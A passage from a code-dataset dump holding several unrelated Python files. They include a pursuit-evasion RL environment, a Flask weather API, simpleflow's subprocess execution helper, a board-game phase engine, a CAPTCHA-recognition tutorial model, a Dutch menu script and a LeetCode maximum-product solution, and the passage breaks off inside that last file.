w]\n elif action == 2:\n u = apf_control(self.confg_apf, self.get_state(), self.get_goal(), self.ob_list)\n\n # get angle velocity from angle input\n u[1] = self.pursuitor_model.rot_to_angle(u[1])\n\n # use for differential guidence law\n self.last_pur_state = self.get_state()\n self.last_tar_state = self.get_goal()\n # u=[0,0]\n self.pursuitor_model.motion(u, self.dt)\n if self.evasion_mode:\n\n # if reach this point\n if np.linalg.norm(self.evasion_route[self.evasion_route_index, :2]-self.get_goal()[:2]) <= self.robot_radius*2:\n self.evasion_route_index = (self.evasion_route_index+1) % len(self.evasion_route)\n target_u, _= dwa_control(self.get_goal(), self.get_goal()[3:5], self.config_evasion,\n self.evasion_route[self.evasion_route_index, :2], self.ob_list)\n self.evader_model.motion((target_u), self.dt)\n else:\n self.evader_model.motion(self.target_u, self.dt)\n assert not self.robot_collision_with_obstacle(self.evader_model.state[:2], self.target_radius,\n self.ob_list, self.ob_radius)\n x = self.get_state()\n self.traj = np.vstack((self.traj, x)) # store state history\n self.traj_pursuitor.append(self.get_state())\n self.pursuit_strategy.append(action)\n self.traj_evader.append(self.get_goal())\n\n\n def _compute_reward(self, observation):\n # reward = ((-observation[-1] + self.last_obs[-1])/(self.max_v*self.dt)) ** 3 * 10\n reward = -observation[-1]/10.0\n\n if self.collision:\n reward = -150\n if self.catch:\n reward = 200\n return reward\n\n def _is_done(self, observations):\n self.catch = False\n self.collision = False\n if observations[-1] <= self.robot_radius + self.target_radius:\n self.catch = True\n #\n # laser_collision = np.array(observations[:self.pursuitor_model.laser_num]) <= self.robot_radius\n # if laser_collision.any():\n # self.collision = True\n if self.robot_collision_with_obstacle(self.get_state()[:2], self.robot_radius, self.ob_list, self.ob_radius):\n self.collision = True\n return self.catch or self.collision\n\n def why_done(self):\n if self.catch:\n return 0\n elif self.collision:\n return 1\n elif self.record_count>=self.limit_step:\n return 2\n return False\n\n def robot_collision_with_obstacle(self, x, x_radius, ob_list, ob_radius):\n if ob_list is None:\n return False\n for ob in ob_list:\n if np.linalg.norm(x-ob)<=x_radius+ob_radius:\n return True\n return False\n \n def get_goal(self):\n return np.array(self.evader_model.state)\n\n def get_state(self):\n return np.array(self.pursuitor_model.state)\n\n def normlize_angle(self, angle):\n norm_angle = angle % 2*math.pi\n if norm_angle > math.pi:\n norm_angle -= 2 * math.pi\n return norm_angle\n\n def get_TF(self):\n theta = self.get_state()[2]\n transition = self.get_state()[:2]\n T_robot = np.array([\n [cos(theta), -sin(theta), transition[0]],\n [sin(theta), cos(theta), transition[1]],\n [0, 0, 1]\n ])\n return T_robot\n\n def init_terrain(self, num):\n if num == 0:\n self.ob_list = np.array([[0, 2],\n [4.0, 2.0],\n [-2.0, 4.6],\n [5.0, 6.0],\n [7.0, 9.0],\n [12.0, 12.0],\n [4.0, 12.0]\n ])\n elif num == 1:\n self.ob_list = np.array([[0, 2],\n [4.0, 2.0],\n [-2.0, 4.6],\n [5.0, 6.0],\n [7.0, 9.0],\n [12.0, 12.0],\n [4.0, 12.0],\n [3.5, 15.8],\n [12.1, 17.0],\n [7.16, 14.6],\n [8.6, 13.0],\n [4.42, 10.76],\n [-3.76, 8.8],\n [2.0, -1.8],\n [-0.16, -1.66],\n [3.1, -5.1],\n [0.7, 6.5],\n [4.85, -3.05],\n [8.0, -0.33],\n [-0.3, -6.75]\n ])\n\n def init_env_from_list(self, pursuit_init_num):\n if pursuit_init_num==0:\n # pursuit env 0\n self.init_x = 2.1\n self.init_y = 7.5\n self.init_yaw = 0.0\n elif pursuit_init_num==1:\n # pursuit env 1\n self.init_x = 8.0\n self.init_y = 6.0\n self.init_yaw = 0.0\n elif pursuit_init_num==2:\n # pursuit env 2\n self.init_x = 12.0\n self.init_y = 8.0\n self.init_yaw = 0.0\n elif pursuit_init_num==3:\n # pursuit env 3\n self.init_x = -3.0\n self.init_y = 0.0\n self.init_yaw = pi/8.0\n\n\n def init_evader_circle(self, evader_init_num):\n if evader_init_num==0:\n # evader env 1\n self.target_init_x = 0.0\n self.target_init_y = -10.0\n self.target_init_yaw = -pi/2.0\n self.target_u = np.array([1.8, -pi/5*2.0])\n elif evader_init_num==1:\n # evader env 2\n self.target_init_x = 0.0\n self.target_init_y = 9.0\n self.target_init_yaw = pi - 0.3\n self.target_u = np.array([1.8, 0.66])\n elif evader_init_num==2:\n # evader env 4\n self.target_init_x = 10.0\n self.target_init_y = 12.0\n self.target_init_yaw = -pi/2.0\n self.target_u = np.array([1.8, -pi/5])\n\n def init_evader_route(self, evader_init_num):\n if evader_init_num == 0:\n self.evasion_route = np.array([\n [4.0, 3.5],\n [6.0, 2.7],\n [7.55, 6.8],\n [9.57, 11.2],\n [9.3, 16.5],\n [5.44, 16.0],\n [5.44, 13.23],\n [5.44, 9.24],\n [0.0, 4.5],\n [-2.2, -1.1],\n [0.0, -5.0]\n ])\n elif evader_init_num == 1:\n self.evasion_route = np.array([\n [11.64, 8.78],\n [7.87, 10.94],\n [5.49, 12.91],\n [2.78, 13.79],\n [0.99, 10.71],\n [2.46, 3.27],\n [6.91, 2.53]\n ])\n elif evader_init_num == 2:\n self.evasion_route = np.array([\n [1.16, 8.15],\n [7.4, 5.63],\n [8.84, 0.78],\n [14.06, 11.86],\n [13.68, 17.4],\n ])\n self.evasion_route_index = 0\n self.target_init_x = self.evasion_route[0, 0]\n self.target_init_y = self.evasion_route[0, 1]\n self.target_init_yaw = math.atan2(self.evasion_route[1,1]-self.evasion_route[0,1], self.evasion_route[1,0]-self.evasion_route[0,0])\n\n","sub_path":"pursuit_env_v1.py","file_name":"pursuit_env_v1.py","file_ext":"py","file_size_in_byte":20972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"457994075","text":"import numpy as np\r\nimport datetime as dt\r\nimport scipy\r\nfrom scipy import stats\r\n\r\nimport sqlalchemy\r\nfrom sqlalchemy.ext.automap import automap_base\r\nfrom sqlalchemy.orm import Session\r\nfrom sqlalchemy import create_engine, func\r\n\r\nfrom flask import Flask, jsonify\r\n\r\nengine = create_engine(\"sqlite:///Resources/hawaii.sqlite\")\r\n\r\nBase = automap_base()\r\n\r\nBase.prepare(engine, reflect = True)\r\n\r\nMeasurement = Base.classes.measurement\r\nStation = Base.classes.station\r\n\r\nsession = Session(engine)\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route(\"/\")\r\ndef home():\r\n return (\r\n f\"All available routes:<br/>\"\r\n f\"/api/v1.0/precipitation<br/>\"\r\n f\"/api/v1.0/stations<br/>\"\r\n f\"/api/v1.0/tobs<br/>\"\r\n f\"/api/v1.0/start_date, where start_date = your input of date in yyyy-mm-dd format<br/>\"\r\n f\"/api/v1.0/start_date/end_date, where both dates are your inputs in yyyy-mm-dd format<br/>\"\r\n\r\n )\r\n\r\n@app.route(\"/api/v1.0/precipitation\")\r\ndef precipitation():\r\n session = Session(engine)\r\n\r\n results = session.query(Measurement.date, Measurement.prcp).all()\r\n\r\n session.close()\r\n\r\n data = []\r\n for date, rain, in results:\r\n data_dict = {}\r\n data_dict[\"date\"] = date\r\n data_dict[\"prcp\"] = rain\r\n data.append(data_dict)\r\n\r\n return jsonify (data)\r\n\r\n@app.route(\"/api/v1.0/stations\")\r\ndef stations():\r\n stations = session.query(Station.station, Station.name).all()\r\n stations_list = list(stations)\r\n return jsonify(stations_list)\r\n\r\n\r\n@app.route(\"/api/v1.0/tobs\")\r\ndef tobs():\r\n year_prior = dt.date(2017,8,23) - dt.timedelta(days=365)\r\n tobs_data = session.query(Measurement.date, Measurement.tobs).\\\r\n filter(Measurement.date >= year_prior)\r\n\r\n tobs_data_list = list(tobs_data)\r\n\r\n return jsonify(tobs_data_list)\r\n\r\n\r\n@app.route('/api/v1.0/<start>')\r\n@app.route('/api/v1.0/<start>/<end>')\r\ndef date_range(start=None, end=None):\r\n\r\n session = Session(engine)\r\n\r\n if end != None:\r\n temps = session.query(\r\n func.round(func.min(Measurement.tobs),2),\r\n func.round(func.max(Measurement.tobs),2),\r\n func.round(func.avg(Measurement.tobs),2)).\\\r\n filter(Measurement.date >= start).\\\r\n filter(Measurement.date <= end).all()\r\n\r\n temps_list = list(temps)\r\n return jsonify(temps_list)\r\n\r\n else:\r\n temps = session.query(\r\n func.round(func.min(Measurement.tobs),2),\r\n func.round(func.max(Measurement.tobs),2),\r\n func.round(func.avg(Measurement.tobs),2)).\\\r\n filter(Measurement.date >= start).all()\r\n \r\n temps_list = list(temps)\r\n return jsonify (temps_list)\r\n \r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"143746996","text":"from __future__ import absolute_import, print_function\nimport re\nimport sys\nimport subprocess\nimport functools\nimport json\n\nfrom builtins import map\n\nfrom future.utils import iteritems\nfrom simpleflow import compat\n\ntry:\n import cPickle as pickle\nexcept ImportError:\n import pickle\nimport base64\nimport logging\n\nfrom simpleflow.utils import json_dumps\n\n__all__ = ['program', 'python']\n\nlogger = logging.getLogger(__name__)\n\n\nclass RequiredArgument(object):\n pass\n\n\ndef format_arguments(*args, **kwargs):\n \"\"\"\n Returns a string that contains the values of *args* and *kwargs* as command\n line options.\n\n :param args: that can be converted to strings.\n :type args: tuple.\n :param kwargs: whose keys and values can be converted to strings.\n :type kwargs: dict.\n\n :returns:\n :rtype: str.\n\n The elements args must be convertible to strings and will be used as\n positional arguments.\n\n The items of *kwargs* are translated to key/value options (-c=1). Their\n format follows the convention of one hyphen for short options (-c) and two\n hyphens for long options (--val).\n\n Examples:\n\n >>> sorted(format_arguments('a', 'b', c=1, val=2))\n ['--val=\"2\"', '-c=\"1\"', 'a', 'b']\n\n \"\"\"\n\n def arg(key):\n if len(key) == 1:\n return '-' + str(key) # short option -c\n return '--' + str(key) # long option --val\n\n return ['{}=\"{}\"'.format(arg(key), value) for key, value in\n iteritems(kwargs)] + list(map(str, args))\n\n\ndef zip_arguments_defaults(argspec):\n if not argspec.defaults:\n return []\n\n return zip(\n argspec.args[-len(argspec.defaults):],\n argspec.defaults)\n\n\ndef check_arguments(argspec, args):\n \"\"\"Validates there is the right number of arguments\"\"\"\n # func() or func(**kwargs) or func(a=1, b=2)\n if not argspec.varargs and not argspec.args and args:\n raise TypeError('command does not take varargs')\n\n # Calling func(a, b) with func(1, 2, 3)\n if not argspec.varargs and argspec.args and len(args) != len(argspec.args):\n raise TypeError('command takes {} arguments: {} passed'.format(\n len(argspec.args),\n len(args)))\n\n\ndef check_keyword_arguments(argspec, kwargs):\n # func() or func(*args) or func(a, b)\n if not argspec.keywords and not argspec.defaults and kwargs:\n raise TypeError('command does not take keyword arguments')\n\n arguments_defaults = zip_arguments_defaults(argspec)\n not_found = (set(name for name, value in arguments_defaults if\n value is RequiredArgument) -\n set(kwargs))\n # Calling func(a=1, b) with func(2) instead of func(a=0, 2)\n if not_found:\n raise TypeError('argument{} \"{}\" not found'.format(\n 's' if len(not_found) > 1 else '',\n ', '.join(not_found)))\n\n\ndef format_arguments_json(*args, **kwargs):\n return json_dumps({\n 'args': args,\n 'kwargs': kwargs,\n })\n\n\ndef get_name(func):\n \"\"\"\n Returns the name of a callable.\n\n It handles different types of callable: function, callable object with\n ``__call__`` method and callable objects that provide their name in the\n ``name`` attributes.\n\n :type func: callable.\n :returns:\n :rtype: str.\n\n \"\"\"\n prefix = func.__module__\n\n if not callable(func):\n raise ValueError('{} is not callable'.format(\n func))\n\n if hasattr(func, 'name'):\n name = func.name\n elif hasattr(func, '__name__'):\n name = func.__name__\n else:\n name = func.__class__.__name__\n\n return '.'.join([prefix, name])\n\n\ndef python(interpreter='python'):\n \"\"\"\n Execute a callable as an external Python program.\n\n One of the use cases is to use a different interpreter than the current one\n such as pypy.\n\n Arguments of the decorated callable must be serializable in JSON.\n\n \"\"\"\n\n def wrap_callable(func):\n @functools.wraps(func)\n def execute(*args, **kwargs):\n command = 'simpleflow.execute' # name of a module.\n full_command = [\n interpreter, '-m', command, # execute module a script.\n get_name(func), format_arguments_json(*args, **kwargs),\n ]\n try:\n output = subprocess.check_output(\n full_command,\n # Redirect stderr to stdout to get traceback on error.\n stderr=subprocess.STDOUT,\n )\n except subprocess.CalledProcessError as err:\n err_output = err.output\n if not compat.PY2:\n err_output = err_output.decode('utf-8', errors='replace')\n logger.info(\n \"Got a subprocess.CalledProcessError on command: {}\\n\"\n \"Original error output: '{}'\".format(\n full_command, err_output, type(err_output)\n )\n )\n exclines = err_output.rstrip().rsplit('\\n', 2)\n excline = exclines[-1]\n\n try:\n exception = pickle.loads(\n base64.b64decode(excline.rstrip()))\n except (TypeError, pickle.UnpicklingError):\n exception = Exception(excline)\n if ':' in excline:\n cls, msg = excline.split(':', 1)\n if re.match(r'\\s*[\\w.]+\\s*', cls):\n try:\n exception = eval('{}(\"{}\")'.format(\n cls.strip(),\n msg.strip(),\n ))\n except BaseException as ex:\n logger.warning('{}'.format(ex))\n\n raise exception\n try:\n if not compat.PY2:\n output = output.decode('utf-8', errors='replace')\n last_line = output.rstrip().rsplit('\\n', 1)[-1]\n d = json.loads(last_line)\n return d\n except BaseException as ex:\n logger.warning('Exception in python.execute: {}'.format(ex))\n logger.warning(repr(output))\n\n # Not automatically assigned in python < 3.2.\n execute.__wrapped__ = func\n return execute\n\n return wrap_callable\n\n\ndef program(path=None, argument_format=format_arguments):\n r\"\"\"\n Decorate a callable to execute it as an external program.\n\n :param path: of the program to execute. If it is ``None`` the name of the\n executable will be the name of the callable.\n :type path: str.\n :param argument_format: takes the arguments of the callable and converts\n them to command line arguments.\n :type argument_format: callable(*args, **kwargs).\n\n :returns:\n :rtype: callable(*args, **kwargs).\n\n Examples\n --------\n\n >>> @program()\n ... def ls(path):\n ... pass\n >>> ls('/etc/resolv.conf')\n '/etc/resolv.conf\\n'\n\n It will execute the ``ls`` command and requires a single positional\n argument *path*.\n\n \"\"\"\n import inspect\n\n def wrap_callable(func):\n @functools.wraps(func)\n def execute(*args, **kwargs):\n check_arguments(argspec, args)\n check_keyword_arguments(argspec, kwargs)\n\n command = path or func.__name__\n return subprocess.check_output(\n [command] + argument_format(*args, **kwargs),\n universal_newlines=True)\n\n argspec = inspect.getargspec(func)\n # Not automatically assigned in python < 3.2.\n execute.__wrapped__ = func\n return execute\n\n return wrap_callable\n\n\ndef make_callable(funcname):\n \"\"\"\n Return a callable object from a string.\n\n This function resolves a name into a callable object. It automatically\n loads the required modules. If there is no module path, it considers the\n callable is a builtin.\n\n :param funcname: name of the callable.\n :type funcname: str.\n\n :returns:\n :rtype: callable.\n\n Examples\n --------\n\n Loading a function from a library:\n\n >>> func = make_callable('itertools.chain')\n >>> list(func(range(3), range(4)))\n [0, 1, 2, 0, 1, 2, 3]\n\n Loading a builtin:\n\n >>> func = make_callable('map')\n >>> list(func(lambda x: x + 1, range(4)))\n [1, 2, 3, 4]\n\n \"\"\"\n if '.' not in funcname:\n module_name = 'builtins'\n object_name = funcname\n else:\n module_name, object_name = funcname.rsplit('.', 1)\n\n module = __import__(module_name, fromlist=['*'])\n try:\n callable_ = getattr(module, object_name)\n except AttributeError:\n raise AttributeError('module {} has no attribute {}'.format(\n module.__name__,\n object_name,\n ))\n return callable_\n\n\nif __name__ == '__main__':\n \"\"\"\n When executed as a script, this module expects the name of a callable as\n its first argument and the arguments of the callable encoded in a JSON\n string as its second argument. It then executes the callable with the\n arguments after decoding them into Python objects. It finally encodes the\n value returned by the callable into a JSON string and prints it on stdout.\n\n the arguments of the callable are stored in a dict with the following\n format: ::\n\n {'args': [...],\n 'kwargs': {\n ...,\n }\n }\n\n Synopsis\n --------\n\n ::\n usage: execute.py [-h] funcname funcargs\n\n positional arguments:\n funcname name of the callable to execute\n funcargs callable arguments in JSON\n\n optional arguments:\n -h, --help show this help message and exit\n\n Examples\n --------\n\n ::\n $ python -m simpleflow.execute \"os.path.exists\" '{\"args\": [\"/tmp\"]}'\n true\n\n \"\"\"\n import argparse\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\n 'funcname',\n help='name of the callable to execute',\n )\n parser.add_argument(\n 'funcargs',\n help='callable arguments in JSON',\n )\n\n cmd_arguments = parser.parse_args()\n\n funcname = cmd_arguments.funcname\n try:\n arguments = json.loads(cmd_arguments.funcargs)\n except:\n raise ValueError('cannot load arguments from {}'.format(\n cmd_arguments.funcargs))\n\n callable_ = make_callable(funcname)\n if hasattr(callable_, '__wrapped__'):\n callable_ = callable_.__wrapped__\n\n args = arguments.get('args', ())\n kwargs = arguments.get('kwargs', {})\n try:\n if hasattr(callable_, 'execute'):\n result = callable_(*args, **kwargs).execute()\n else:\n result = callable_(*args, **kwargs)\n except Exception as err:\n logger.error('Exception: {}'.format(err))\n # Use base64 encoding to avoid carriage returns and special characters.\n # FIXME change this: brittle, missing traceback\n encoded_err = base64.b64encode(pickle.dumps(err))\n if not compat.PY2:\n # Convert bytes to string\n encoded_err = encoded_err.decode('utf-8', errors='replace')\n print(encoded_err)\n sys.exit(1)\n else:\n print(json_dumps(result))\n","sub_path":"simpleflow/execute.py","file_name":"execute.py","file_ext":"py","file_size_in_byte":11351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"228914615","text":"import random\nimport Board\nfrom Unit import Unit\n\n\n\"\"\"\nPhases handle the major operational logic of the game. Each phase it's own unique logic, and different available actions\nEvery phase has a nextPhase method, that progresses to the next phase.\nThe methods for each phase validate client actions, then perform the requested action.\nActions available to the user are computed by Phase objects on client side, not server side.\n\nThe six phases are:\nBuy -> purchase units to place later\nAttack -> Move units into enemy territories\nResolve -> Units in any territory under attack must fight until one side is dead, or the attacker retreats\nNeutral Move -> Planes must land, units that haven't moved can move to friendly territories.\nPlacement -> Place the units bought at the beginning of the turn\nCollect Income -> Collect income from all the territories owned (including conquered territories)\n\"\"\"\nclass BuyPhase:\n def __init__(self, ipc, board):\n # List[(unitType, cost)]\n self.buyList = []\n self.moneyCap = ipc\n self.board = board\n\n def buyUnit(self, unitType):\n info = self.board.unitInfo(unitType)\n if self.money() + info.cost <= self.moneyCap:\n self.buyList.append((unitType, info.cost))\n\n def cancel(self, unitType):\n for x in self.buyList:\n if x[0] == unitType:\n self.buyList.remove(x)\n break\n\n def money(self):\n total = 0\n for (unitType, cost) in self.buyList:\n total += cost\n return total\n\n def nextPhase(self, board):\n board.buyList = [unitType for (unitType, cost) in self.buyList]\n board.currentPhase = AttackPhase(board)\n return board.currentPhase\n\n\nclass BaseMovePhase:\n def __init__(self, board):\n self.board = board\n self.moveList = []\n\n def move(self, unit, destination):\n if self.canMove(unit, destination):\n self.moveList.append((unit, unit.territory, destination))\n\n def canMove(self, unit, destination):\n return self.board.getPath(unit.territory, destination, unit) <= self.board.unitInfo(unit.type).movement\n\n\n# Units are added to a moveList, but unit.territory does not get modified if they are attacking a territory.\n# when they win, unit.territory is updated, and unit.previousTerritory is set\nclass AttackPhase(BaseMovePhase):\n def nextPhase(self, board):\n conflicts = {} # list of territories being attacked, and the attacking units\n for (unit, start, dest) in self.moveList:\n if not Board.allied(dest.country, unit.country):\n if dest not in conflicts:\n conflicts[dest] = [unit]\n else:\n conflicts[dest].append(unit)\n else:\n # not in conflict\n unit.previousTerritory = unit.territory\n unit.territory = dest\n\n board.attackMoveList = self.moveList\n board.currentPhase = ResolvePhase(conflicts, self.board)\n return board.currentPhase\n\n\nclass ResolvePhase:\n def __init__(self, conflicts, board):\n # dictionary of territory -> list of units\n self.unresolvedConflicts = conflicts\n self.resolvedConflicts = []\n self.board = board\n\n # attacks until either defenders or attackers are all dead\n def autoResolve(self, territory):\n if not territory in self.unresolvedConflicts:\n return False\n\n defenders = territory.units()\n attackers = self.unresolvedConflicts[territory]\n\n outcomes = [] # list of battle reports\n constraint = 100000\n while True:\n # bit of safety\n constraint -= 1\n if constraint == 0:\n print(\"Auto-resolve does not complete\")\n break\n\n outcome = self.battle(attackers, defenders)\n outcomes.append(outcome)\n for u in outcome.deadAttackers + outcome.deadDefenders:\n self.board.removeUnit(u)\n\n if len(attackers) == 0:\n # defenders win\n self.resolvedConflicts.append((territory, outcomes, defenders))\n break\n elif len(defenders) == 0:\n # attackers win if no defenders, and 1+ attackers\n self.resolvedConflicts.append((territory, outcomes, attackers))\n\n # can only take the territory if 1+ attackers are land attackers\n landAttackers = [u for u in attackers if u.isLand()]\n if len(landAttackers) > 0:\n territory.country = self.board.currentCountry\n\n # now we can update the attackers' current territory. They've officially moved in\n for u in attackers:\n u.previousTerritory = u.territory\n u.territory = territory\n break\n\n # Performs a single step in a territory conflict\n # Takes in a list of attackers and defenders. Removes casualties from list\n def battle(self, attackers, defenders):\n # counts number of each side that must die\n attackingCasualties = 0\n defendingCasualties = 0\n\n # there's a weighted chance of each unit dying. We sum the weights for all the attackers and defenders\n sumAttackers = 0\n sumDefenders = 0\n\n # Calculate hits. Chance for a hit is attack/6 for attackers, defence/6 for defenders\n for u in attackers:\n info = self.board.unitInfo(u.type)\n sumAttackers += 1.0/info.attack\n if random.randint(1, 6) <= info.attack:\n defendingCasualties += 1\n\n for u in defenders:\n info = self.board.unitInfo(u.type)\n sumDefenders += 1.0/info.defence\n if random.randint(1, 6) <= info.defence:\n attackingCasualties += 1\n\n # kill random peeps. chance of dying is 1/attack or 1/defence\n # using the sum of the weights, we take a random number that's less than the sum\n # Then we add up the weights of each unit until the total exceeds our random number\n # That unlucky unit is now dead\n deadA = []\n deadD = []\n while defendingCasualties > 0:\n defendingCasualties -= 1\n runningTotal = 0\n rand = random.random()*sumDefenders\n for d in defenders:\n defence = self.board.unitInfo(d).defence\n if defence > 0:\n runningTotal += 1.0/defence\n if runningTotal >= rand:\n deadD.append(d)\n defenders.remove(d)\n break\n\n while attackingCasualties > 0:\n attackingCasualties -= 1\n runningTotal = 0\n rand = random.random()*sumAttackers\n for a in attackers:\n attack = self.board.unitInfo(a).attack\n if attack > 0:\n runningTotal += 1.0/attack\n if runningTotal >= rand:\n deadA.append(a)\n attackers.remove(a)\n break\n return BattleReport(attackers, defenders, deadA, deadD)\n\n def nextPhase(self, board):\n if len(self.unresolvedConflicts) > 0:\n return None\n else:\n board.currentPhase = MovementPhase(board)\n return board.currentPhase\n\n\nclass BattleReport:\n def __init__(self, attackers, defenders, deadAttack, deadDefend):\n self.survivingAttackers = attackers\n self.survivingDefenders = defenders\n self.deadAttackers = deadAttack\n self.deadDefenders = deadDefend\n\n\nclass MovementPhase(BaseMovePhase):\n # can move units that haven't moved in the attack phase, or planes that need to land\n # can't move into enemy territories\n def canMove(self, unit, destination):\n if not Board.allied(destination.country, unit.country):\n return False\n\n if unit not in self.board.attackMoveList:\n return super(self).canMove(unit, destination)\n elif unit.isFlying():\n previousMove = self.board.getPath(unit.previousTerritory, unit.territory, unit)\n newMove = self.board.getPath(unit.territory, destination, unit)\n return previousMove + newMove < self.board.unitInfo(unit.type).movement\n\n def nextPhase(self, board):\n board.neutralMoveList = self.moveList\n board.currentPhase = PlacementPhase(board.buyList)\n return board.currentPhase\n\n\nclass PlacementPhase:\n def __init__(self, units):\n self.unitList = units\n self.placeList = []\n\n def place(self, unitType, territory, board):\n if unitType in self.unitList and territory.hasFactory():\n alreadyPlaced = [u for u in self.placeList if u.territory == territory]\n if len(alreadyPlaced) < territory.income:\n newUnit = Unit(unitType, board.currentCountry, territory)\n self.unitList.remove(unitType)\n self.placeList.append(newUnit)\n\n def nextPhase(self, board):\n for u in self.placeList:\n board.units.append(u)\n board.currentCountry.colllectIncome()\n\n board.nextTurn()\n board.currentPhase = BuyPhase(board.currentCountry, board)\n return board.currentPhase","sub_path":"server/game/Phases.py","file_name":"Phases.py","file_ext":"py","file_size_in_byte":9347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"512516089","text":"#coding=utf-8\n# File : predict_captcha.py\n# Desc :\n# Author : https://cloud.tencent.com/developer/labs/lab/10330\n# Time : 2018/11/1 18:38\n\n# 首先导入需要的库\nfrom PIL import Image, ImageFilter\nimport os\nimport tensorflow as tf\nimport numpy as np\nimport string\nimport sys\nimport generate_captcha\nimport captcha_model\n\nif __name__ == '__main__':\n\tcaptcha = generate_captcha.generateCaptcha()\n\twidth, height, char_num, characters, classes = captcha.get_parameter()\n\n\t# 在执行这个文件时,需要指定一个测试集的目录\n\t# 然后再获取这个目录里的所有图片名字列表\n\tfile_list = os.listdir(sys.argv[1]) # 获取此路径下的所有文件的名字列表\n\t# print(file_list)\n\t# 将100个训练样本打包到test_x\n\ttest_x = []\n\tfor file in file_list:\n\t\tgray_image = Image.open(sys.argv[1] + '/' + file).convert('L')\n\t\timg = np.array(gray_image.getdata())\n\t\ttest_x.append(np.reshape(img, [height, width, 1])/255.0)\n\n\t# 定义一些placeholder作为输入数据的入口\n\tx = tf.placeholder(tf.float32, [None, height, width, 1])\n\t# 使用dropout时的因子\n\tkeep_prob = tf.placeholder(tf.float32)\n\t# 创建一个我们之前设定好的模型\n\t# 后面再导入训练好的模型的参数即可使用这个模型啦\n\tmodel = captcha_model.captchaModel(width, height, char_num, classes)\n\ty_conv = model.create_model(x, keep_prob)\n\t# 计算预测值\n\tpredict = tf.argmax(tf.reshape(y_conv, [-1,char_num, classes]),2)\n\n\tgpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=0.95)\n\tsaver = tf.train.Saver()\n\n\twith tf.Session(config=tf.ConfigProto(log_device_placement=False,gpu_options=gpu_options)) as sess:\n\t\tsess.run(tf.global_variables_initializer()\t)\n\t\t# 如果之前已经训练好了模型或者是训练了一半的模型则可以直接加载进来继续训练\n\t\tckpt = tf.train.get_checkpoint_state(r'./')\t\n\t\tif ckpt and ckpt.model_checkpoint_path:\n\t\t\tprint(ckpt.model_checkpoint_path)\n\t\t\tsaver.restore(sess, ckpt.model_checkpoint_path) # restore all variables\n\t\telse:\n\t\t\t# 如果没有找到保存的模型参数,打印出错信息\n\t\t\tprint(\"Error:Model not found\")\n\t\t# 开始喂入测试数据进行预测,结果保存到pre_list列表中\n\t\tpre_list = sess.run(predict, feed_dict={x: test_x, keep_prob: 1})\n\t\t# 定义一个计数器,记录一共预测对了多少数字\n\t\tcount = 0 \n\t\tfor i, pre in enumerate(pre_list):\n\t\t\ts = ''\n\t\t\tfor j, ch in enumerate(pre):\n\t\t\t\ts += characters[ch]\n\t\t\t\t# 如果预测的数字与真实的label相同则计数器+1\n\t\t\t\tif characters[ch] == file_list[i][j]:\n\t\t\t\t\tcount += 1\n\t\t\t# 打印预测值与真实值\n\t\t\tprint(\"Pre:\", s, \"\\tLabel:\", file_list[i][:-4])\n\t\t# 最后输出本次预测的正确率\n\t\tprint('==================>accuracy:',count/(char_num*len(test_x)), '\\t', count, '/', char_num*len(test_x))\n","sub_path":"lab/my-code/Lab03-CNN_model_with_CAPTCHA/predict_captcha.py","file_name":"predict_captcha.py","file_ext":"py","file_size_in_byte":2807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"291699315","text":"def start_program():\n naam = input(\"Wat is je naam?\")\n namen = open(\"oefening4_namen.txt\", \"r\")\n lijst_met_namen = []\n\n for x in namen:\n lijst_met_namen.append(x.split())\n\n if naam in lijst_met_namen[0]:\n print(\"hoi, \" + naam)\n else:\n namen2 = open(\"oefening4_namen.txt\", \"a\")\n namen2.write(\" \" + naam)\n namen.close()\n print(\"Welkom, \" + naam + \". er is een nieuw account voor je aangemaakt\")\n flag = True\n\n while flag:\n input_value = input(\n \"Typ 'a' voor optie a, typ 'b' voor optie b. Typ 't' om terug te gaan. Typ 's' om te stoppen.\")\n if input_value == \"a\":\n print(\"Dit is optie a\")\n flag = False\n elif input_value == \"b\":\n print(\"Dit is optie b\")\n flag = False\n elif input_value == \"s\":\n exit()\n flag = False\n elif input_value == \"t\":\n start_program()\n flag = False\n else:\n print(\"je hebt niet voor een van de opties gekozen!\")\n flag = True\n\nstart_program()\n\n\n","sub_path":"oefening4_menu.py","file_name":"oefening4_menu.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"218149088","text":"# LC152 Maximum Product Subarray\n# Medium\n\n# Given an integer array nums, find the contiguous subarray within an array (containing at least one number) which has the largest product.\n\n\nclass Solution(object):\n\n # Version A, brutal force, get all subsequence and find the product\n # Failed by exceeding max time limit\n def maxProduct(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n result = -float(\"inf\")\n for i in range(0, len(nums)):\n for j in range(1, len(nums) - i + 1):\n sub = nums[i:i + j]\n product = 1\n for k in sub:\n product *= k\n if product > result:\n result = product\n return result\n\n\nclass Solution(object):\n\n # Version B\n # The idea is to find:\n # If zero in is the lst\n # if zero is in the list, then product will be zero\n # it must compare with subarray before zero and subarray after zero, with 0\n # So the subarray is nums[:zero_index] and nums[zero_index+1:]\n # number of negative number in the list\n # if number is even, then the product will be non-negative, that is good\n # if number is odd, then we need to get rid of 1 odd number (first one or last one)\n # So the subarray is nums[:last_odd_index] and nums[first_odd_index+1:]\n # End case:\n # if lst is empty, return -float(\"inf\"), to exclude from counting\n # if lst is 1 element, then return just the element itself\n # if lst contains no zero, and even negative numbers, then return the products of all elments\n # Any other case, we recursively break down the lst to get the end case\n\n def product(self, lst):\n result = 1\n for i in lst:\n result *= i\n return result\n\n def maxProduct(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n if not nums:\n return -float(\"inf\")\n elif len(nums) == 1:\n return nums[0]\n\n n_neg = 0\n i_odd_first, i_odd_last = -1, -1\n oddfound = False\n i_zero 